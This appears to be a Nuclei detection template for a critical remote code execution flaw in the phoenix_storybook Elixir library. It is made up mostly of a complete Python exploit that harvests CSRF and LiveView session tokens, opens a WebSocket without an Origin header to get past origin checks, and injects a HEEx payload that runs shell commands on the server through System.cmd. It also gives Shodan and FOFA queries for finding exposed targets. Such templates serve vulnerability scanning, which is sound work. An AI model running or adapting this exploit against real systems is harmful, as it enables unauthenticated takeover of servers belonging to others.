Phoenix Storybook - Remote Code Execution

id: CVE-2026-8467

info:
  name: Phoenix Storybook - Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Phenixdigital phoenix_storybook >=0.5.0 <1.1.0 contains a code injection caused by unsanitized attribute value interpolation in HEEx template generation, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires sending crafted WebSocket event data.
  impact: |
    Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
  remediation: |
    Upgrade to version 1.1.0 or later.
  reference:
    - https://github.com/plausible/analytics/security/advisories
    - https://github.com/plausible/analytics
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8467
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-8467
    epss-score: 0.00907
    epss-percentile: 0.57828
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.favicon.hash:829712541
    fofa-query: icon_hash=="829712541"
  tags: cve,cve2026,rce,plausible,phoenix,storybook,heex

code:
  - engine:
      - py
      - python3
    source: |
      import sys, re, json, ssl, socket, struct, base64, os, time
      import http.cookiejar, urllib.request, urllib.parse, urllib.error

      target = sys.stdin.read().strip()
      if not target:
          print("ERROR: No target")
          sys.exit(1)
      target = target.rstrip("/")
      if not target.startswith("http"):
          target = "http://" + target
      is_https = target.startswith("https://")

      ssl_ctx = ssl.create_default_context()
      ssl_ctx.check_hostname = False
      ssl_ctx.verify_mode = ssl.CERT_NONE

      storybook_url = target + "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn"

      # Step 1: Fetch storybook page
      try:
          cj = http.cookiejar.CookieJar()
          opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(context=ssl_ctx))
          req = urllib.request.Request(storybook_url, headers={"User-Agent": "Mozilla/5.0"})
          resp = opener.open(req, timeout=15)
          body = resp.read().decode("utf-8", errors="replace")
      except Exception as e:
          print("NOT_VULNERABLE: Connection failed - " + str(e))
          sys.exit(0)

      if resp.getcode() != 200 or "data-phx-session" not in body:
          print("NOT_VULNERABLE: Storybook not exposed (HTTP " + str(resp.getcode()) + ")")
          sys.exit(0)

      # Step 2: Extract tokens
      csrf_m = re.search(r'content="([^"]+)"\s+name="csrf-token"', body) or re.search(r'name="csrf-token"\s+content="([^"]+)"', body)
      if not csrf_m:
          print("NOT_VULNERABLE: No CSRF token")
          sys.exit(0)
      csrf = csrf_m.group(1)
      cookie_str = "; ".join(c.name + "=" + c.value for c in cj)
      phx_id_m = re.search(r'id="phx-([^"]+)"', body)
      if not phx_id_m:
          print("NOT_VULNERABLE: No PHX ID")
          sys.exit(0)
      phx_id = phx_id_m.group(1)
      sessions = re.findall(r'data-phx-session="([^"]+)"', body)
      statics = re.findall(r'data-phx-static="([^"]+)"', body)
      if not sessions or not statics:
          print("NOT_VULNERABLE: No session tokens")
          sys.exit(0)
      parent_session = sessions[0]
      parent_static = statics[0]
      child_static = statics[1] if len(statics) > 1 else statics[0]

      # Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)
      host_with_port = target.split("://", 1)[1]
      parts = host_with_port.split(":")
      ws_host = parts[0]
      ws_port = int(parts[1]) if len(parts) > 1 else (443 if is_https else 80)
      csrf_enc = urllib.parse.quote(csrf, safe="")
      ws_path = "/live/websocket?_csrf_token=" + csrf_enc + "&_track_static%5B0%5D=&_mounts=0&vsn=2.0.0"

      try:
          sock = socket.create_connection((ws_host, ws_port), timeout=15)
          if is_https:
              sock = ssl_ctx.wrap_socket(sock, server_hostname=ws_host)
          ws_key = base64.b64encode(os.urandom(16)).decode()
          handshake = "GET " + ws_path + " HTTP/1.1\r\nHost: " + host_with_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + ws_key + "\r\nSec-WebSocket-Version: 13\r\nCookie: " + cookie_str + "\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
          sock.sendall(handshake.encode())
          resp_data = b""
          while b"\r\n\r\n" not in resp_data:
              chunk = sock.recv(4096)
              if not chunk:
                  break
              resp_data += chunk
          if b"101" not in resp_data.split(b"\r\n")[0]:
              print("NOT_VULNERABLE: WebSocket upgrade failed")
              sys.exit(0)
      except Exception as e:
          print("NOT_VULNERABLE: WebSocket connection failed - " + str(e))
          sys.exit(0)

      def ws_send(sock, data):
          payload = data.encode("utf-8")
          frame = bytearray([0x81])
          mask_key = os.urandom(4)
          ln = len(payload)
          if ln < 126:
              frame.append(0x80 | ln)
          elif ln < 65536:
              frame.append(0x80 | 126)
              frame.extend(struct.pack("!H", ln))
          else:
              frame.append(0x80 | 127)
              frame.extend(struct.pack("!Q", ln))
          frame.extend(mask_key)
          masked = bytearray(ln)
          for i in range(ln):
              masked[i] = payload[i] ^ mask_key[i % 4]
          frame.extend(masked)
          sock.sendall(bytes(frame))

      def ws_recv(sock, timeout=10):
          sock.settimeout(timeout)
          def rx(n):
              d = b""
              while len(d) < n:
                  c = sock.recv(n - len(d))
                  if not c:
                      raise Exception("closed")
                  d += c
              return d
          hdr = rx(2)
          op = hdr[0] & 0x0F
          mk = (hdr[1] & 0x80) != 0
          ln = hdr[1] & 0x7F
          if ln == 126:
              ln = struct.unpack("!H", rx(2))[0]
          elif ln == 127:
              ln = struct.unpack("!Q", rx(8))[0]
          if mk:
              mask_key = rx(4)
          pl = rx(ln)
          if mk:
              pl = bytearray(pl)
              for i in range(len(pl)):
                  pl[i] ^= mask_key[i % 4]
              pl = bytes(pl)
          return op, pl.decode("utf-8", errors="replace")

      # Step 4: Join parent LiveView
      parent_join = json.dumps(["1", "1", "lv:phx-" + phx_id, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": parent_session, "static": parent_static}])
      ws_send(sock, parent_join)

      child_session = None
      child_topic = None
      for _ in range(10):
          try:
              op, msg = ws_recv(sock)
              if not msg:
                  continue
              data = json.loads(msg)
              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
                  rendered_str = json.dumps(data[4].get("response", {}).get("rendered", {}))
                  cs = re.findall(r'data-phx-session=\\+"([^"\\]+)', rendered_str)
                  for s in cs:
                      if s != parent_session:
                          child_session = s
                          break
                  if not child_session and cs:
                      child_session = cs[0]
                  tm = re.findall(r'id=\\+"([^"\\]*-playground-preview)', rendered_str)
                  if tm:
                      child_topic = "lv:" + tm[0]
                  cst = re.findall(r'data-phx-static=\\+"([^"\\]+)', rendered_str)
                  if cst:
                      child_static = cst[0]
                  break
          except:
              break

      if not child_session:
          if len(sessions) > 1:
              child_session = sessions[1]
          else:
              print("NOT_VULNERABLE: No child session found")
              sock.close()
              sys.exit(0)

      if not child_topic:
          child_topic = "lv:plausible_web_storybook_button-playground-preview"

      # Step 5: Join child LiveView
      child_join = json.dumps(["2", "2", child_topic, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": child_session, "static": child_static}])
      ws_send(sock, child_join)

      child_joined = False
      for _ in range(10):
          try:
              op, msg = ws_recv(sock)
              if not msg:
                  continue
              data = json.loads(msg)
              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
                  st = data[4].get("status", "") if isinstance(data[4], dict) else ""
                  if st == "ok":
                      child_joined = True
                      break
          except:
              break

      if not child_joined:
          print("NOT_VULNERABLE: Child join failed")
          sock.close()
          sys.exit(0)

      # Step 6: Send RCE payload
      cmd = "id"
      exploit_val = 'foo" pwned={elem(System.cmd("sh",["-c","' + cmd + '"]),0)} a="'
      exploit_msg = json.dumps(["3", "3", child_topic, "event", {"type": "click", "event": "psb-assign", "value": {"variation_id": "default", "type": exploit_val}}])
      ws_send(sock, exploit_msg)

      # Step 7: Parse output
      rce_output = ""
      for _ in range(10):
          try:
              op, msg = ws_recv(sock)
              if not msg:
                  continue
              if "pwned" in msg:
                  pm = re.search(r'pwned=\\+"(.*?)\\+"', msg)
                  if not pm:
                      pm = re.search(r'pwned="(.*?)"', msg)
                  if pm:
                      rce_output = pm.group(1).replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
                      rce_output = re.sub(r'\s+a=.*', '', rce_output, flags=re.DOTALL).strip()
                      break
          except:
              break

      sock.close()

      if rce_output and "uid=" in rce_output:
          print("Target: " + target)
          print("Status: RCE_CONFIRMED")
          print("Command: " + cmd)
          print("Output: " + rce_output)
      else:
          print("NOT_VULNERABLE: No RCE output")

    matchers:
      - type: word
        words:
          - "RCE_CONFIRMED"
          - "uid="
        condition: and

    extractors:
      - type: regex
        name: rce_output
        group: 1
        regex:
          - "Output: (.*)"
# digest: 4b0a00483046022100b58b62ee3e6115112773f5e07d8d3ab37940ad20262523770c2d802a138d50aa022100d0a2766cc86d94c71ac0dbe6cd720c23b5cb62363ea53216af8d3b9514f4497e:922c64590222798bb761d5b6d8e72950